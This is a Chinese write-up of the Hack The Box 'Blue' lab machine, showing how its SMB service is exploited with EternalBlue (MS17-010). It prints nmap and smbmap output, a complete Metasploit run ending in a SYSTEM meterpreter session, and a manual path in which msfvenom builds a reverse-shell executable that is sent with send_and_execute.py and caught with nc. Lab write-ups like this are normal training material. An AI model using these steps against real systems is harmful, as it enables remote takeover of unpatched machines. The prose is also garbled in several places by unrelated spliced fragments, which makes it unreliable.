HTB靶场系列 Windows靶机 Blue靶机

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ms17-010漏洞，也就是广为人知的永恒之蓝，非常简单的一个靶机，因为几乎不用提权，ms17-010漏洞使用成功获取的就是system级别的权限

勘探

常规操作

先用nmap扫ios应用商店

nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-03 21:00 EDT
Warning: 10.10.10.40 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.40
Host is up (0.021s latency).
Not shown: 65517 closed ports
PORT      STATE    SERVICE
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
49152/tcp open     unknown
49153/tcp open     unknown
49154/tcp open     unknown
49155/tcp open     unknown
49156/tcp open     unknown
49157/tcp open     unknown
Nmap done: 1 IP address (1 host up) scanned in 13.45 seconds
oxdf@parrot$ nmap -p 135,139,445 -sCV -oA scans/nmap-tcpscripts 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-03 21:01 EDT
Nmap scan report for 10.10.10.40
Host is up (0.018s latency).
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -17m06s, deviation: 34m38s, median: 2m53s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PCx00
|   Workgroup: WORKGROUPx00
|_  System time: 2021-05-04T02:04:49+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-05-04T01:04:52
|_  start_date: 2021-05-04T00:54:47
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.74 seconds

扫描之后发现开了135，139，445端口，经过445端口发现系统是win7sp1 7601

典型的永恒之蓝ms17-010漏洞

之后我们可以用之前在nmap使用篇中提及的vuln模式来扫描一下靶机，这个模式可以直接扫描出可以利用的ms漏洞

nmap -p 445 --script vuln 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-03 21:17 EDT
Nmap scan report for 10.10.10.40
Host is up (0.019s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
Nmap done: 1 IP address (1 host up) scanned in 24.85 seconds

445smb

使用smbmap勘探一下

smbmap -H 10.10.10.40
[+] IP: 10.10.10.40:445 Name: 10.10.10.40                                       
oxdf@parrot$ smbmap -H 10.10.10.40 -u "0xdf“ -p ”0xdf“
[+] Guest session       IP: 10.10.10.40:445     Name: 10.10.10.40                                       
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        Share                                                   READ ONLY
        Users                                                   READ ONLY

可以看到有两个文件夹可以访问

smbclient //10.10.10.40/share
smbclient //10.10.10.40/users

然后shell是什么意思中文发现这两个文件夹都是空文件夹

获取sygithub直播平台永久回家sios系统tem权限

由于确定了是ms17-010漏洞，那么就省了提权的麻烦，直接就能获得system权限，那么这里演示手动和msf两种方法

msf

msf6 > search ms17-010
Matching Modules
================
   #  Name                                           Disclosure Date  Rank     Check  Description        
   -  ----                                           ---------------  ----     -----  -----------        
   0  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   2  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   3  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   4  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
   5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

发现3和4一个探测一个命令执行，1是win8，5利用后门，那么依次尝试0和2，我用2成功了，但是没留过程这里用0xdf的0的过程

首先使用0号exp
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.14.14
lhost => 10.10.14.14
msf6 exploit(windows/smb/ms17_010_eternalblue) > options
Module options (exploit/windows/smb/ms17_010_eternalblue):
   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.10.10.40      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.14.14      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.14:4444 
[*] 10.10.10.40:445 - Executing automatic check (disable AutoCheck to override)
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.10.10.40
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (10.10.14.14:4444 -> 10.10.10.40:49173) at 2021-05-03 21:32:51 -0400
meterpreter > getuid 
Server username: NT AUTHORITYSYSTEM

可能需要多尝试几次，我尝试了三四次才成功

手动

使用一个python脚本GitHub – helvishell编程ojunior/MS17-010: MS17-010

这个脚本我ios应用商店就利用那个send_and_eios系统xecute.py这个脚本来上传我们的回连脚github下载本

 msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.7 LPORT=4444 -f exe -o backdoor.exe

这样创建一个

python send_and_execute.py 10.10.10.40 backdoor.exe

然后用python执行

最后打开nc监听就好

nc -lvnp 4444